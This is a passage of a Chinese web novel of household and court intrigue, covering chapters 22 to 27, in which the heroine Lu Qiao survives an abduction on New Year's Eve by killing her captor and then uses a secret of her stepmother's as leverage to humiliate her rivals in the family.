陆乔走了进去,在桌边坐下。
“奇怪,怎么没人呢?”珠儿嘴里嘟囔着,“明明是宁王殿下约的小姐啊。”
陆乔也觉得奇怪,今日她心里总有种不安。
伸手摸着菜碟,菜——是冷的。
不对!中计了!
陆乔瞬间寒毛直竖!
她猛地站起身,拉着珠儿就朝着门口走去。
“快走!”
可房间的门却被一脚踢开。
两个陌生的男子走了进来。
“你们是谁?宁王殿下呢!”珠儿连忙护在陆乔身前,二人后退着。
“宁王殿下怕是来不了,除夕夜我们哥俩来陪着小姐玩玩如何?”
说话的男子,左脸上赫然一条如蜈蚣般的刀疤,面目狰狞。
另一个也五大三粗,看起来两个都是习武之人。
“我是丞相府中嫡女,你们若敢动我,怕是不要命了!”陆乔试探开口。
右边男子张口说道:“对咯,找的就是丞相府嫡女。”
陆乔心里一沉。
她故意说丞相府,却没有吓退这两个人。
这是早早布好的局。
可萧允珩今日确实来了醉逢楼,究竟是哪里出了错!
“沈清芷给你们多少,我加倍给你们!”陆乔再次试探。
可两个男子却是一脸懵:“沈清芷是谁?”
“沈姑娘,你不必拖延时间,今日没人救得了你。”
不是沈清芷?
那又是谁?
她们连连后退,珠儿突然抄起桌上的酒壶直接砸向一个男人头上。
奈何两个男子皆是习武之人,只是略略偏头便躲过了。
陆乔一惊,也迅速转身将桌上的菜不停地砸向二人。
两个男人躲避之间,一晃就到了陆乔面前。
珠儿突然窜了过来,紧紧抱住其中一个男人。
“小姐快跑!”
可以珠儿的体形,哪里控制得住一个成年男子。
只见,那男子一把手抓住珠儿的头发,直接将她甩飞。
珠儿额头重重砸在地面上,瞬间涌出鲜血。
可她却吃力地爬起,扑到男子脚边,紧紧男子的脚踝。
男子心中一怒,一脚踹向珠儿的下腹,珠儿控制不住地撞向墙面。
“珠儿!”陆乔惊呼!
可现下外面全是烟花爆竹的声音,酒楼内也寥寥无几,她们这个雅间像是被遗忘了一样。
冷静,一定要冷静。
她该怎么办,方才她提到钱财之时,这二人眼皮都没有动一下,看来就是来取她的性命,根本没有商量。
她才刚回上京,所有的复仇都还没有开始。
难道就要死在这里了吗。
陆乔用力拧着大腿,让自己克服着恐惧,冷静思考。
她一边看着二人说着,一边转着身体朝着门口的方向走去:
“是昭阳郡主对不对!”
二人脸色一变,对视一眼。
“是又如何,不是又如何。”
“总归今日,就是要你的小命。”
陆乔扯起嘴角,努力让自己看起来风淡云轻。
双脚不找痕迹地往门口走着。
“看来就是她了。”
“你们为她卖命,可曾想过自己的退路。”
“我是皇上亲自赐给宁王殿下为妻,宁王殿下征战沙场近十年,我若**,他若发起怒来你们也逃不掉。”
二人互相看了一眼,似乎有些犹豫。
宁王不得皇上喜爱不假,可征战沙场近十年,玉面阎罗的名头也是真的。
可也仅犹豫片刻。
“开弓没有回头箭,若你**,就没有人知道了。”
眼看二人就要朝着陆乔走了过来。
就在这时,陆乔已经不知何时已经站在了门口。
她猛地朝着门外跑去,一边跑着一边观察着其他的雅间。
昭阳郡主诱她来这里,霜月也亲眼看见萧允珩出了门,那么萧允珩现在一定也在醉逢楼。
究竟是哪一个房间!
陆乔紧张的呼吸急促。
她咬了咬舌尖,尽力让自己冷静下来,观察着其他房间。
而此时,木兰阁中。
萧允珩正独自坐在桌前。
王**满道:“主子,太子约您出来,却迟迟未到,方才居
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然来信说他转道沈自山府中,他们现在是越来越过分了。”
王九一把扯住王五的衣角,对他使了个眼色。
王五禁了声。
萧允珩面无表情地端起桌前的酒杯,一饮而尽。
叫人看不出他在想写什么。
今日下午,太子突然来信,说是要同他商讨北方雪灾赈灾一事。
可现下,人却久久未到。
“他们**赈灾款的事,你们暗中查得如何了。”
王九道:“**不离十了,只是涉案官员的名单还未详细确定下来。”
说着他气愤不已。
“这些蛀虫中饱私囊,弃百姓于不顾,他们层层**,赈灾粮根本落不到百姓手中,严重的地方城门紧闭,无数流民冻死在城墙外,可城内的官员却在饮酒作乐!”
闻言,萧允珩眸光闪动,脸色狠厉。
这些蛀虫,他迟早拔个干净。
另一边,陆乔冲出房间拼尽全力地跑着,可那两人岂是吃素的。
连忙追了出来,陆乔不过一女子,根本跑不了多远。
刀疤男就快抓住陆乔的胳膊时,她突然看见左前方的雅间亮着光。
有救了!
可太远了!
她根本跑不过去。
而且这里的动静,被酒楼外的鞭炮声掩盖。
根本无人知晓。
怎么办?
“站住!”
刀疤男恶狠狠的看着陆乔的身影。
他们兄弟二人这种事干了不知道多少单,这下居然被一个女子耍了,他气不打一处来。
伸手猛地抓住陆乔的胳膊。
就在这千钧一发之际。
陆乔的右手拿起旁边酒楼过道上的摆件,用尽全力砸向左前方的雅间。
门,被砸开了。
以为有刺客,王五王九连忙拔剑挡在萧允珩身前。
看清屋内坐的人就是萧允珩!
陆乔心中一喜。
大喊一声:“萧允珩,救我!”
可谁知,萧允珩只是淡淡看了陆乔一眼,微微皱眉。
“太吵了,关门。”
?
??
王五与王九迟疑地看着萧允珩。
“关门。”
萧允珩再一次强调。
别无他法,王九上前将门关上。
这时,刀疤男已经紧紧将陆乔控制住。
见门又重新关上,陆乔心中唯一的希望破灭了。
看清萧允珩竟然将她拒之门外,见死不救,陆乔愣住了片刻,随即破口大骂道:
“萧允珩!你居然不救我!你个狗东西、王八蛋#%@&*……%”
陆乔两只胳膊被刀疤男紧紧捆住,架了起来。
第23章 赌命
屋内,王五与王九对视一眼,纠结着,王五上前一步。
“主子,为何不救沈小姐。”
“给我一个救她的理由。”萧允珩问道。
王五低眉思索,迟疑道:“因为......沈小姐是皇上亲赐给您的王妃。”
萧允珩喝下一杯酒,淡淡说着:
“那是杀她的理由。”
王五:......
王九:......
王九又道:“可那日在皇宫中,主子为何要我们二人帮助沈小姐。”
萧允珩伸手轻抚着腰间的一个玄色精致的香囊,隔着香囊,里面放了一枚玉佩。
语气里带着些许哀伤。
“皇宫那次不过是替她还个人情罢了。”
香囊里装的就是那日夜里挖出来的玉佩,自那日起他便日日戴在身边,只因上面有平阳侯府的印记,平日里不可见人,萧允珩这才将它包裹起来。
见萧允珩不管,刀疤男大喜过望,一把将陆乔扯回。
陆乔被刀疤男架了起来,她用尽全力挣脱,却也是没有半点效果。
下一瞬,脖颈间传来重重一击,陆乔眼前一黑,彻底昏**过去。
不知过了多久,房间里的珠儿被酒楼小厮叫醒。
“姑娘,你没事吧!”
珠儿半边脸都是血迹,吓得小厮手都不停地发着抖。
珠儿用力站起身子,打量着整个房间。
恍惚片刻后,她双手紧紧抓住小厮的肩膀。
“我家小姐呢!”
小厮声音因害怕而颤抖着:
“我...我不知道啊.......我上来后就只看见你一个人躺在这里......”
没有人看见小姐,珠儿心里一沉。
她强忍着身上的疼痛,跑了出来。
大街上的冷风一吹,让她清醒不少。
她一双眼睛四处打量着周围,身体不停地发抖。
她不知道,她根本不知道小姐会被贼人带到哪里。
能求谁帮忙?
丞相府?
小姐说今日很有可能是沈清芷干的,而且若传扬出去,小姐的名声怕是要毁了。
宁王?
方才宁王就没有救小姐。
珠儿急的蹲在雪地里,眼泪止不住的流出,眼泪与血水混着滴落在雪地上。
突然,珠儿想起小姐上次见过一个叫巩大哥貌似是城防营的人。
珠儿连忙站起身,去找巩钧。
她将身上的披风把脸罩了起来,以防自己满脸鲜血,生出什么事端。
这一次,她一定要保护好小姐!
陆乔是被剧烈的颠簸而疼醒了,她吃力地睁开眼。
只见自己双手在胸前被紧紧捆住,而自己正被打横趴在马背处,身后正是在酒楼抓她的刀疤男,刀疤男正在骑马不知要将她带往何处。
后颈的疼痛让她猛然想起酒楼里发生的一切。
她环视四周,俨然已经没有了房屋建筑。
她被带出城了!
这个贼人是怎么做到的?
“你要带我去哪?”陆乔强撑着冷静问着。
“你居然醒了?”刀疤男诧异的看着陆乔。
不过他转念淫邪地笑着:“你醒着也好,那就更有意思了。”
“买凶之人只说要了你的命,而且不让你死在城内。”
“不过......你死之前发生了什么,她可管不着......”
他打量着陆乔的脸,满意地说着:“若让你就这么**,岂不是浪费了你这漂亮的脸蛋。”刀疤男淫笑了起来,夜色里他的刀疤笑起来带着狰狞和恐怖。
“你且等会,哥哥带你找个茅草屋,我们快活快活,让你这辈子也体验一下做女人的滋味再送你上路。”
刀疤男说着话,愈发激动起来,架马的速度也快了不少。
陆乔感觉自己的腰间慢慢被一个异物顶住。
她的胃里翻涌着一阵恶心。
她用力挣脱着手上的麻绳,可手腕都被磨破了却也纹丝未动。
马背上的颠簸,陆乔觉得自己整个人都要散架了。
“我前些日子入宫受皇上恩赏,我可以给你万两黄金,你放了我如何?”
刀疤男没想到陆乔到这时不仅没有哭哭啼啼,还在试着说服自己,倒是有些诧异:
“不必多费唇舌,今日你必死无疑。”
刀疤男说得斩钉截铁,陆乔所有的希望湮灭。
她闭上双眼,任由身体趴在马背上,不再动弹。
看着陆乔不再挣扎,刀疤男放下了心,说到底不过是个小女子。
寒风打在陆乔脸上,陆乔用力咬了自己的舌尖,强迫自己冷静下来。
山穷
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水尽之时,只有冷静下来,才能救自己。
休息片刻后她睁开眼,细细打量着他们行驶的路。
刀疤男为躲避他人耳目,带她走的是乡间小路,道路凸起,两边是滑坡,路面不足一丈宽,道路两旁皆被大雪覆盖,大雪平整看不见任何灌木石头,只是坡的下面远远地有一排树而已。
陆乔被捆绑的双手偷偷抬到发间,右手顺势取下一根发簪。
“你要不要跟我赌一赌?”
陆乔冷冷开口。
刀疤男低头看着陆乔,他满头雾水。
“赌什么?”
她眼神里透露出决绝。
“赌命!”
说完,在刀疤男错愕的目光下,陆乔被绑着的双手抬起,右手紧紧握着发簪,猛地刺向马匹的身体。
奔跑中的马因刺痛而受惊,马匹嘶鸣,前蹄腾空而起,马背上的陆乔看准时机,紧紧抓住刀疤男的衣服,腰部用力,连带着刀疤男滚下了马。
陆乔一系列操作皆在瞬息之间,刀疤男完全没有反应过来,仍由陆乔将自己连带着撞下了马。
陆乔将自己的身体蜷缩着,紧紧抓着刀疤男的衣服,将他当做自己的护盾。
马匹因受伤发狂,后蹄狠狠踹在刀疤男的后背。
二人顺着坡面翻滚下来。
虽说有积雪垫底,但积雪下面却仍有碎石,陆乔一阵晕眩,耳畔灌满自己骨骼的“咯咯”的声音,她无法控制自己的身体。
只能将脑袋紧紧埋在刀疤男的身体里。
二人翻滚了许久。
最后,一声闷哼,刀疤男的身体重重撞在坡下的树上,二人才停了下来。
远在一旁的王九见状,连忙冲了过去。
方才萧允珩虽说不想管,是因陆乔的身份敏感,可他还是暗自吩咐王九跟在后面。
距离太远,王九还未赶到,只远远见陆乔停住的一瞬间,连忙爬起身体。
方才的发簪她一直紧紧握着,就在这时陆乔猛地抬起手。
朝着刀疤男的脖颈处,狠狠插下!
此时的刀疤男,浑身骨裂般的疼痛,他头脑眩晕,待看清眼前人时,他除了瞪大双眼,身体根本来不及反应。
一根发簪插下,温热的鲜血喷涌而出,溅到陆乔的脸上。
刀疤男身体瞬间瘫软,倒在了树下。
第24章 她回来了
做完一切的陆乔,大口喘着气,她伸手探了刀疤男的脉搏,确认他已死,这才放下心来。
没有余力解开手上的麻绳,便身体一软,仰倒在地。
大口呼吸着空气。
方才她打量着路面,路面平整却被大雪覆盖,虽说大雪能减少他们摔下马的伤痛,却也掩盖了积雪下面的东西。
若积雪下有较大的石头或锋利之物,或许陆乔活不下来。
可是,她没有办法。
她只能拼尽全力将自己的脑袋护住,去拼这一线生机。
此时在远处正赶过来的王九看到这一幕呆愣在原地,他难以置信之前见过两次面的弱女子,竟然有如此狠厉一面,他不由得打了个寒颤。
今夜之后的很久很久,王五总是暗自纳闷为何王九会对这个柔柔弱弱的未来王妃恭敬至极。
王九正欲上前探查陆乔此时状态,后方传来马蹄声,他又隐到一旁树丛之中。
来者正是巩钧。
半盏茶之前,城防营门口来了个姑娘,她将自己的脸罩住,哭哭啼啼地拉着门口小兵。
此人正是珠儿。
“我是巩钧的表侄女,我方才遇到歹徒,现在实在害怕,劳烦小哥帮我通传一下。”
珠儿哭得真切,门口小兵也当了真,不一会巩钧出现在门口。
前些日子里珠儿陪着陆乔找过他,他是认得的。
“怎么了?”巩钧急着问道。
珠儿连忙将巩钧偷偷拉到一旁。
看见巩钧的一刻,珠儿身上的压力再也扛不住了,猛地跪了下来。
“呜呜!巩将军,求您救救小姐吧!”
巩钧心里一沉,一把将珠儿拉了起来,珠儿遮挡头部的面巾落下,露出她满是鲜血的半张脸。
巩钧慌了起来:
“不要再哭了,到底发生了什么事!”
珠儿不顾额头上的伤口,抽抽搭搭地将方才的事情告诉了巩钧。
巩钧听闻,马上扭头找人。
很快便带了几个心腹,正欲大肆寻找。
可是从哪找起?
这时,巩钧的一名手下突然记起。
“方才有个男子带着一个女子,拿着昭阳郡主的令牌出城了。”
“往哪个方向去了!”巩钧目光一亮。
“东南。”
得到信息,巩钧立刻翻身上马。
他看了珠儿一眼,吩咐手下道。
“帮我给她包扎,你们不必跟着,我一个人去就好。”
随即架马而去。
陆乔躺在雪地里,大口喘着气,待她慢慢反应过来之后。
她浑身上下的骨头如同被敲碎般的疼。
方才她费劲了全力,才能在停住的那一瞬间,连忙起身杀了刀疤男。
此刻,她已经被全身抽干了力气。
远方传来阵阵马蹄声,陆乔精神一紧,可她再也无力动弹,暗暗将手里的发簪藏在衣袖中。
巩钧看见失控的马匹,就猜到人估计就在这边。
他急忙架马赶了过来。
却看见坡下躺了两个人,走到跟前才看见陆乔双手被紧紧捆住,满身鲜血。
“大小姐!”
巩钧一时间目眦尽裂,慌张不已,冲到陆乔身旁。
见来着是巩大哥,陆乔这才放下心来。
右手一松,发簪滑落在雪地里。
她的掌心早已嵌入一条深深的血痕。
“巩大哥,我没事。”陆乔有气无力地喘着,“血不是我的,是他的。”
巩钧瞪大双眼,惊讶不已。
“你双手被捆绑,还将人杀了!?”
“取巧罢了。”
陆乔说得轻描淡写,可巩钧心里却是震惊不已。
一开始陆乔回到上京说要复仇,他那时根本不相信就一个弱女子能做到,只不过是因着老侯爷的旧恩,他才处处听从陆乔安排。
他一直想着若事情败露的一天,拼尽全力保住陆乔的性命,也算是还了老侯爷的恩。
可是,今天陆乔所作所为却是让他大受震撼。
一个双手被缚的弱女子,濒临绝境居然能反手杀死一个壮汉。
不亏是老侯爷的亲孙女!
或许,平阳侯府真的有能沉冤昭雪、报仇雪恨的一天!
这一刻,巩钧才真正看到了希望,对陆乔心服口服。
*
宁王府。
房内烛火闪烁,萧允珩坐在房中,玄貂大氅滑落肩头,露出内里墨金箭袖袍,烛光削过他的侧脸,映照出他鼻梁微凸处缀一颗淡痣。
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王九恭敬地汇报着方才发生的事。
在听到刀疤男被陆乔用发簪刺死的时候,他眉头一挑。
有点意思。
“巩钧为何会去救她?她不过才回上京,他们二人何时有了交集?”萧云珩问道。
“属下也不知,但属下看着巩参将一路跑过去的神情确实很紧张。”
萧允珩屈指叩击着檀木桌面,思索着。
若是她的小丫鬟去找的人,为何小丫鬟不去找沈自山求助,反而找了巩钧?
难道她与沈自山当真关系不睦?
若真是这样,那皇宫之时陆乔说的话倒是可以考虑一二。
“盯着她,再安排人去查她儿时流落在外的事。”
“是。”
丞相府。
檐下红灯笼在凛冽的风中摇晃,一种压抑的寂静却已笼罩了整座府邸,此刻的丞相府没有了半点除夕的喜庆。
“禀报相爷,小的带了几人暗自在城内寻找,各大酒楼铺子都找了个遍,没有看见二小姐身影。”
小厮跪在沈自山面前答道。
主母王氏声音发颤,恰到好处地红了眼眶,“这除夕夜里,她还能去哪里?”
“母亲别担心。”沈清芷柔声劝慰,“姐姐一定吉人自有天相。”
沈清芷焦急地看着沈自山,“父亲,要不要报官?”
沈自山皱着眉。
他是一国丞相,除夕夜报官找女儿,若传扬出去,他丞相府的脸面就要丢尽了。
见到沈自山犹豫着,沈清芷坐回母亲身边。
王氏母女交换了一个心照不宣的眼神,沈清芷低头抿茶,掩去唇角一抹冷笑。
“哼~”角落里响起一声轻笑。沈清婉慢条斯理地拨弄着手炉上的流苏,“只怕......她遭遇不测了呢......”
沈清婉的身体虽说好了一些,但却得在椅子上垫上厚厚的细软,她才能坐得下去。
身体上的每一分疼痛,都让沈清婉对陆乔恨之入骨。
而沈清柔此刻只默默坐在角落,眼观鼻、鼻观心。
“想来清婉妹妹屁股上的伤是大好了,还能有力气来猜测我是否遭遇不测。”
一道声音从门外响起。
陆乔,回来了。
第25章 别吵了,都得跪
一道纤细却挺直的身影走了进来,她身披一件月白底色绣银丝缠枝梅纹的妆花缎斗篷,双手拢在一个藕荷色缠枝莲纹的手捂里,周身带着从外面带来的凛冽寒气。
“你!”沈清婉吃痛地站起身。
可陆乔的眼神在沈清婉身上停留片刻后,停在了王氏与沈清芷的身上。
一双凤眸盯着沈清芷冰冷又压抑,似是看透了全部,压得沈清芷几乎喘不过气。
可突然,陆乔转头看向王氏。
她眼里意味不明:“母亲眼睛红了,是在担心我吗?”
王氏站起身来,笑容僵硬故作嗔怪。
“你这孩子,除夕之夜跑哪去了?”
“可是让你父亲担心了许久!”
沈自山脸色不满:“你去哪了!”
陆乔福身答道:
“今日是女儿在府上过的第一个除夕,自女儿回府以来得母亲照顾,所以女儿想着在除夕之夜给母亲买个礼物而已。”
“只不过今日除夕,女儿不得已跑了很多铺子,找了太久。”
“胡闹!”沈自山怒道,“你可知你的身份,除夕之夜出门却不与你母亲通报一声,一人在外面乱逛!”
“只怕是你在乡野之地待的太久了,毫无半点体统规矩!”
“今日定要家法处置你!”
陆乔疑惑,“我出门前有和母亲禀报,是母亲同意后我才出门的。”
被点到的王氏一脸懵。
“我何时说过......”
就在此时,陆乔不经意间从怀中掏出一块羊脂白玉佩,玉佩上山岚松影间若隐若现。
看见此物时,王氏话语一凝。
这是她私下放印子钱给出去的信物,怎么会在这个小**的手上!
难道......
看见王氏的样子,陆乔笑了。
“这是我给母亲挑的礼物,您看可还喜欢?”
她故作苦恼,“我下午出门时分明有同母亲说过,母亲莫不是忘了?”
沈自山看向王氏,“可有此事?”
王氏盯着玉佩,咬着后槽牙,一字一句。
“确有此事!”
无奈的她朝着沈自山认错道:
“今日除夕事杂,都是妾身的错,方才竟忙忘了。”
沈自山皱着眉。
“她才回上京什么都不懂,你多年当家主母,怎得由着她胡来。”
方才下午太子带着儿子沈修文突然回到丞相府,与他商谈起北方赈灾一事。
此次**赈灾款,金额巨大,涉案官员甚多。
就连他也心惊。
可他已经上了太子的船,如今要帮太子筹谋如何暗自解决这个问题。
他早就头疼不已。
太子与儿子才走不久,家里却还闹着这个乌龙。
实在太不让他省心了。
沈清芷不明白母亲为何突然认下,但猜测怕是母亲有事被陆乔捏住了把柄,上前解释着。
“父亲,母亲操劳全府上下事务,这些年来处处打点妥当。今日不过是念着姐姐才从乡下回来,想着她能开心些,弥补她幼时的苦难。”
“还望父亲见谅。”
沈清芷的话说得恰到好处,沈自山心中的怒火也平息不少。
“咦?”陆乔声音再度响起,“今日除夕之夜,清芷妹妹可有到祠堂给我母亲敬香。”
一时间,沈清芷的笑容僵在脸上,眼神里闪过一丝冷意。
居然让她给那个老女人上香,做梦!
但她还是温和地笑着。
“自是有的,我一大清早就敬过香了。”
可陆乔突然面容惆怅,眼眶泛红。
“这么多年来,我都流落在外,不能在母亲灵前尽孝,今日正值除夕,不如大家一起跪在母亲的牌位前守岁吧。”
一旁的沈清婉骂了起来,“我给你的生母下跪,你做梦!”
沈青芷脸色难看了起来。
王氏也是脸色铁青,她这个当家主母还活着站在这呢,除夕之夜却要她的女儿给那个早已死掉的**跪一夜!
“乔乔,今日除夕,让清芷她们去给逝者下跪守岁,怕是不好。”
陆乔无辜地摇了摇头:“她们去跪,确实不好。”
闻言,王氏的心里好过一点。
这个小**,还知道分寸。
然而陆乔接下来的一句话,却让她再也挂不住脸。
陆乔勾起唇角,挑着眉毛。
“不只是她们,你——也要跪地!”
“你说什么!”沈清芷破防骂道,“怎能让我母亲给她下跪!”
陆乔看着王氏道:“我的母亲是原配正室,而你乃妾室扶正,本就应当日日服侍我的母亲。”
“不过是给我母亲下跪守岁,怎么您却如此恼怒?”
“难道,你平日里从不敬她?”
王氏气得脸颊发抖,她掌管丞相府以来,从来都是前呼后应,何曾受过这种委屈。
可这时,陆乔将手中的玉佩递到王氏手中,暗暗使力。
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“您,今夜当真不跪?”
王氏胸脯上下浮动,显然是气急了。
她紧紧握着手中的玉佩不停颤抖着。
咬牙切齿,“跪!”
见主母败下阵来,沈清婉准备开溜。
“我要回房间了。”
陆乔扬声道:“别回去了,你也要跪地。”
“你!”沈清婉怒指陆乔,“你不要太过分!”
陆乔无辜地看着王氏,“您看......”
王氏眼神阴狠,心中的怒火有些压制不住。
“跪!”
“都给我去跪!”
陆乔走到沈自山面前福身,“父亲,今夜我们都要去祠堂侍奉母亲,不如父亲早些回房歇息?”
沈自山自然察觉出了这里的气氛微妙,可他心里装着太子**一事,实在懒得在这里浪费时间,敷衍地点了点头便离开了。
其余一行人就这样来到了祠堂。
原主苏婉婉母亲的牌位正在祠堂上摆着,虽然沈自山不喜原配,但放个牌位做个脸面的事,他还是要做足的。
王氏几人满脸怨毒。
跟在身后的沈清柔和白氏内心郁闷,却不敢吱声。
今夜陪跪,怕是躲不掉了。
王氏吩咐下人备上蒲团,跪在中央,其余几人则跪在王氏身后。
沈清婉身上的伤还未大好,现在又要她跪上一夜,她怎么也不肯,最后还是王氏大怒,沈清婉才歪歪扭扭地跪下。
可陆乔却走到母亲牌位前敬了一炷香,便朝着大门走去。
沈清婉不满道:
“你为何要走!是你说要陪你的母亲守岁!”
陆乔转过身来。
“我突然想着,我的母亲自然心疼我,她恐怕不忍我跪上一夜。而我为人子女,若不顺母亲心意,岂非不孝?”
她抬手摸着心口,满脸悲痛。
“今夜,我会在心里思念娘亲。”
“你......”沈清婉还想说着什么,却被王氏打断。
“住口!”王氏看着陆乔,不耐烦道,“还不快滚!”
她知道今日陆乔怕就是来报仇的,她一早便知陆乔不会跪。
还不如赶紧让她滚,眼不见心不烦。
陆乔面带歉意,提前跟跪在地上的大家说了声新年好,转身便回了房中。
前脚刚踏入房中的陆乔,下一秒就力竭瘫倒在地。
她匆匆赶回,又与王氏纠缠。
身上还有许多暗伤。
她早已支撑不住。
第26章 陆乔与白氏合作
不知睡了多久,等陆乔醒来的时候,天已大亮。
她躺在床上,盖着湖蓝色缂丝锦被,被面用银线绣着繁复的缠枝莲纹,内里絮着轻盈却极保暖的丝绵。
床榻边,一座紫铜鎏金缠枝莲纹的熏笼正静静吐着若有若无的暖香,笼内银霜炭烧得正旺,只氤氲出满室的暖意。
“小姐,你醒了!”映入眼帘的是头上包着纱布的珠儿。
她眼底泛红,欣喜地看着陆乔。
昨日巩钧让人给她包扎后,便私下悄悄将她送回了丞相府。
小姐回府后,她看见小姐身上大大小小的淤青,和手腕上被麻绳勒得鲜血淋漓的伤痕,她心疼不已。
只能暗自找到**,让他悄悄送些药过来。
看着抽抽搭搭的珠儿,陆乔心里一暖。
她苍白的脸颊上泛起一丝红润,张开嘴,声音有些沙哑。
“傻丫头,你哭什么。”陆乔抬手轻轻的拍了拍珠儿的手背,“你昨天做得很好,真的。”
听见小姐夸她,她扑到小姐的身上,终是大哭起来。
冬日的阳光透过窗沿,打在陆乔的身上,她身上泛起无尽暖意。
一旁的霜月见状走到陆乔身边。
“小姐,今日一早相爷便到太子府上去了,方才主母院中也过来传话,说是今日早上不必拜年请安。”
陆乔冷嗤一声:
“她们昨日跪了一宿,现下怕是都在床上呢。”
珠儿抬起头,擦了擦眼泪。
“小姐,我不明白,为何您抓到了主母私放印子钱的证据,却轻易放过。”
先前陆乔吩咐**盯着王氏,偌大的丞相府,王氏定会有错漏。
**盯了许久,他反复翻查府中账簿,这才发现账上的金额不对,牵连着就发现了王氏私放印子钱的事。
见陆乔与珠儿谈着事情,霜月识趣地退出了门外。
霜月的举动陆乔看在眼里,却并不言语。
她转头看着珠儿宠溺地笑着:
“傻丫头,我只是把玉佩还给了她,何时说我放过她了?”
“王氏为丞相府当家主母多年,不过只是放印子钱的事,沈自山除了训诫惩罚几句,也不会拿她怎么样。”
只有问题积攒的越来越多,多到能够淹没王氏。
届时,她再点一把火。
斩草除根。
“况且,除了她,现在府中能掌权的就是柳氏,我可不能让柳氏坐收渔翁之利。”
“时机未到。”
珠儿半懂半不懂。
“可自打您回府之后,多半是清婉小姐处处针对,为何昨夜您却是处处针对王氏与清芷小姐。”
珠儿继续说着:
“还有,昨日您为何突然跟歹徒说是清芷小姐收买的歹徒。”
谈及于此,陆乔斯条慢理地说着。
“我昨日也是见酒楼雅间里无人才反应过来。”
“什么?”
陆乔:“你可还记得,我让你去门房小厮问来者是谁?
珠儿点点头:“是呀,小厮亲口说来着是宁王府的人。”
“从这里开始,就错了。”陆乔认真的说着。
珠儿依旧不解。
“且不说萧允珩才回上京不久,就只论丞相府与宁王府是什么关系?沈自山与萧允珩从无往来,丞相府的小厮怎么可能认识宁王府的下人?”
“若不是刻意误导,昨日门房小厮应该回答:送信之人声称自己是宁王府的人或带着宁王府的信物,而不是确定送信之人就是宁王府的人。”
珠儿这才恍然大悟,眼里全是钦佩。
“是啊!只是......这太细节了,奴婢根本来没有反映过来......”
陆乔:“能安排丞相府的门房小厮撒谎的,只怕就是王氏与沈清芷。”
“小姐,那此事确实与昭阳郡主无关吗?”
“昨夜萧允珩确实去了醉逢楼,虽然我不知道中间有什么原因。”陆乔低眉细细思索着,“但我总觉得此事与昭阳郡主也脱不了干系。”
“你的伤没事吧?”陆乔看着珠儿的额头关切地问着。
“巩参将已经找人帮我看过了,只是皮外伤。”
“那就好。”陆乔又道:“昨日歹徒有两人,一人被我刺死,理应还有一人活着。”
“你告诉巩大哥一声,让他私下探查,找到另外一个,我有大用。”
吩咐完一切,陆乔闭上双眼,揉了揉酸胀的眉心。
刚抬起手,手腕的刺痛,让她不由得身体一颤。
她有些后怕,昨日险象环生,
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多有赌的成分。
此局之中漏洞百出,可她却没有发现。
自打她回到上京一而再再而三发生了太多事,看来她需要好好盘算一番了。
午时刚过,凝香居里白氏与沈清柔正坐在房中由着丫鬟给膝盖上药。
冬日里才祠堂跪了一夜,膝盖早已红肿不已。
“这沈乔一回丞相府便闹得天翻地覆,她与主母斗法就罢了,还弄得我们二人连带着受罪。”
纵使平日里不多言语的白氏,此时也有些怨声载道。
她本就是妾室,跪上一夜也无妨。
只是让她的女儿也跪了一夜,她着实心疼不已,她看着丫鬟给女儿上药时,女儿的双腿还有些发抖。
可,沈清柔的表情里没有半分痛苦,仿佛这红肿的双腿不是她的。
她心里只想着一件事。
“这沈乔到底拿捏了王氏什么事情,让王氏竟心甘情愿受如此奇耻大辱。”说着,她细细想着突然眼神一亮,“那玉佩......或许是玉佩有问题......”
“柔儿,你在说什么呢?”白氏疑惑不解。
可沈清柔仿佛没有听见白氏的话一般,“王氏看样子是认识那玉佩的,或许本就是她的,可又为何到了沈乔手上。”
“左不过,那个玉佩代表着王氏的一件不可告人的秘密,是什么秘密呢。”
十几年来,能在王氏与柳氏的夹缝中生存,沈清柔自然不可小觑。
无论样貌才学,她处处高那沈清婉一截,只不过生母不受宠,她只能藏拙而已。
藏拙,不代表真的傻,任何事闭耳塞听。
反之,她只有处处多思多想,才能安然避过许多灾祸。
如今沈乔一回相府,这潭水被搅浑之后,她再也看不清了。
门外丫鬟声音响起。
“二小姐到。”
白氏与沈清柔连连起身,恭敬行礼。
她们一个是侧室一个是庶出,对于陆乔这个原配正室嫡出,她们同这府里的下人无异。
陆乔身姿清瘦,只披着一件素色大氅来到沈清柔院中。
“姨娘与妹妹不必多礼,快快坐下吧。”
白氏也连忙请陆乔坐下。
她来这里作甚?
白氏心中暗自腹诽。
第27章 德妃赏赐
屋内三人**,白氏端上热茶。
“不知,二小姐来此处可是有事吩咐?”
白氏将自己的身份拉得很低,沈清柔也是如此。
陆乔抬手示意,珠儿端着一盒膏药放到白氏面前。
“昨日是我与王氏之事,不慎让你们二人也在祠堂跪了一夜。”她眼神探究地看着白氏,“还望——姨娘见谅。”
“我带了上好的膏药,特来赔罪。”
白氏连忙起身。
任谁平白无故在除夕之夜在祠堂跪上一晚,心中都会不舒服。
可她虽然心里不满,却不敢表现出来。
“二小姐哪的话,我身为妾室,给原配正室跪上一宿也是应该的。”
陆乔打量着这个白氏。
她虽处处退让,卑躬屈膝,可这整个房间都干净敞亮,白氏与沈清柔也看不出平时受苦的样子。
想来也是有些手段的。
陆乔转头看向沈清柔,“那玉佩是王氏在外放印子钱的凭证。”
沈清柔心里一惊,但还是一脸懵懂的样子。
“姐姐为何要与我说起此事?”
“我并无打探之意。”
陆乔端起热茶品了起来,茶气氤氲。
“好茶!”
她自顾自地说着:“只是我想着妹妹或许想知道呢?”
陆乔身形清柔,垂眸品茶,让人难辨心思。
沈清柔尴尬笑着:“姐姐说笑了,母亲的事,与我何干。”
陆乔放下茶杯,一双明亮的眸子看着眼前二人。
“今日,我便开门见山了。”
“不知姨娘,可想当上这丞相府的当家主母?”
一语毕,白氏心头一跳。
陆乔继续道:“王氏与柳姨娘欺压您与清柔妹妹十几年,就算姨娘能忍,清柔妹妹也不怨。”
“可,妹妹已经及笄,她的婚事还是得由主母做主。”
“女儿婚嫁是一生中的大事,难道姨娘还处处忍让,由得王氏随意安排,最终嫁于匹夫草草一生吗?”
陆乔的话深深刺入白氏心里。
她的女儿何其聪慧,却整日里藏拙不显半分,她这个生母看在眼里,疼在心里。
若说旁的事,都可以忍。
但柔儿的婚事,她早就苦思已久。
房间里沉默起来。
“二小姐,我虽想帮你,可实在有心无力,她们二人一个有权,一个有宠。”
“我本是奴婢出身,因着相爷一时醉酒误事,怀了清柔这才抬为姨娘,实在无法与主母抗衡。”
白氏仍旧推脱着。
漂亮话谁不会说,可她与女儿没有筹码可赌,只能步步小心。
可接下来,陆乔一句话,让沈清柔与白氏陡然脸色大变。
